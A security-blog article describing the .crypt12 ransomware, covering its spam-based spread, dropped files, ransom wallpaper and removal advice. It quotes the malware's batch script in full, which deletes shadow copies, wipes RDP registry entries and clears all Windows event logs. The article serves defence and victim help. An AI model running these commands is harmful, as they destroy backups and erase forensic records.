.crypt12 File Ransomware – Remove Virus and Restore Data - How to, Technology and PC Security Forum | SensorsTechForum.com

.crypt12 File Ransomware – Remove Virus and Restore Data

This blog post aims to explain to you how to remove .crypt12 ransomware virus and how to attempt and recover files that have been encoded with the added .crypt12 file extension.

Now ransomware virus with mysterious origins has been detected to change the wallpaper on victims computers after it encrypts their important documents. The wallpaper asks for the victims to contact the e-mail [email protected] in order to conduct a ransom payoff to restore the files encrypted by this malware with the added .crypt12 file extension. If you are one of the victims of the .crypt12 ransomware virus, we strongly recommend that you read the article below.

Threat Summary

TypeRansomware, Cryptovirus
Short DescriptionAims to encrypt the important files on the infected computer after which demand from the victim to pay a hefty ransom fee in order to get them decrypted.
SymptomsThe files are encrypted with the added .crypt12 file extension as their suffix and the wallpaper is changed to the image above this table.
Distribution MethodSpam Emails, Email Attachments, Executable files
Detection Tool See If Your System Has Been Affected by Crypt12


Malware Removal Tool

User ExperienceJoin Our Forum to Discuss Crypt12.
Data Recovery ToolWindows Data Recovery by Stellar Phoenix Notice! This product scans your drive sectors to recover lost files and it may not recover 100% of the encrypted files, but only few of them, depending on the situation and whether or not you have reformatted your drive.

How Does .crypt12 File Virus Spread

In order for this ransomware infection to infect your computer, it may take advantage of various different techniques, the primary of which may be to use the so-called malspam or malicious e-mail spamming techniques. Such tactics may include the distribution various different types of files, presumably with the following extensions:

→ .tmp, .dll, .cmd, .bat, .vbs, .js, .wsf, .exe

These type of files may be distributed under different pretext, possibly pretending to be legitimate invoices, receipt or other important documents.

In addition to this, malicious files belonging to .crypt12 ransomware may be detected on suspicious and unchecked sites that also offer fake setups of programs, license activators, keys and other types of seemingly legitimate files.

.crypt12 Ransomware Virus – Activity

The activity of this ransomware virus is primarily connected with modifying some aspects of Windows, just about enough to gain administrative Read and Write permissions. This is done with the assistance of multiple pre-programmed functions in the two primary malicious files of .crypt12 file virus which are dropped on your computer immediately after an infection takes place:

  • crypt12.exe
  • sys.bat

The first file, crypt12.exe is responsible for the encryption process, changing the wallpaper, setting registry entries and automatically executing the second file, called sys.bat. The batch file is pre-configured with a script that allows it to delete the shadow volume copies of your Windows machine, meaning it eradicates any chance of restoring your files via Windows backup. It may also perform other activities like delete Windows Registry Editor sub-keys as well as stop several services of Windows:

→ @echo off
vssadmin.exe Delete Shadows /All /Quiet
reg delete “HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default” /va /f
reg delete “HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers” /f
reg add “HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers”
cd %userprofile%\documents\
attrib Default.rdp -s -h
del Default.rdp
for /F “tokens=*” %1 in (‘wevtutil.exe el’) DO wevtutil.exe cl

After this, the virus may also change the wallpaper of the infected computer to one with the following ransom note:

Your files Have Been Crypted email to:
[email protected] for instuctions

.crypt12 File Virus Encryption Process

In order to encrypt your files, the .crypt12 ransomware virus is very careful not to encrypt crucial system files belonging to Windows. These files are the system files of the Windows folders, which the virus adds in a whitelist, skipping those folders for encryption. In the same time however, the .crypt12 malware checks if you have documents, archives, videos, images and other important files and if it detects them, they are immediately encrypted. Among the possible file extensions which .crypt12 ransomware may hunt for could be the following:


After the encryption process has completed, the malware sets the .crypt12 file extension on the files, making them look like the following:

[email protected]

Remove Crypt12 Ransomware and Restore Encrypted Files

If you want to remove this virus from your computer it Is strongly advisable to follow the removal instructions below to eliminate malicious objects created by it either manually or automatically. The best method for the removal according to malware researchers is to use an advanced anti-malware software, since this virus creates multiple different files on your computer, which may be difficult to discover manually.

If you want to restore files that have been encrypted by this virus, you can try and recover them using the alternative methods for file recovery below in step “2. Restore files encrypted by Crypt12 Virus”.

Ventsislav Krastev

Ventsislav has been covering the latest malware, software and newest tech developments at SensorsTechForum for 3 years now. He started out as a network administrator. Having graduated Marketing as well, Ventsislav also has passion for discovery of new shifts and innovations in cybersecurity that become game changers. After studying Value Chain Management and then Network Administration, he found his passion within cybersecrurity and is a strong believer in basic education of every user towards online safety.

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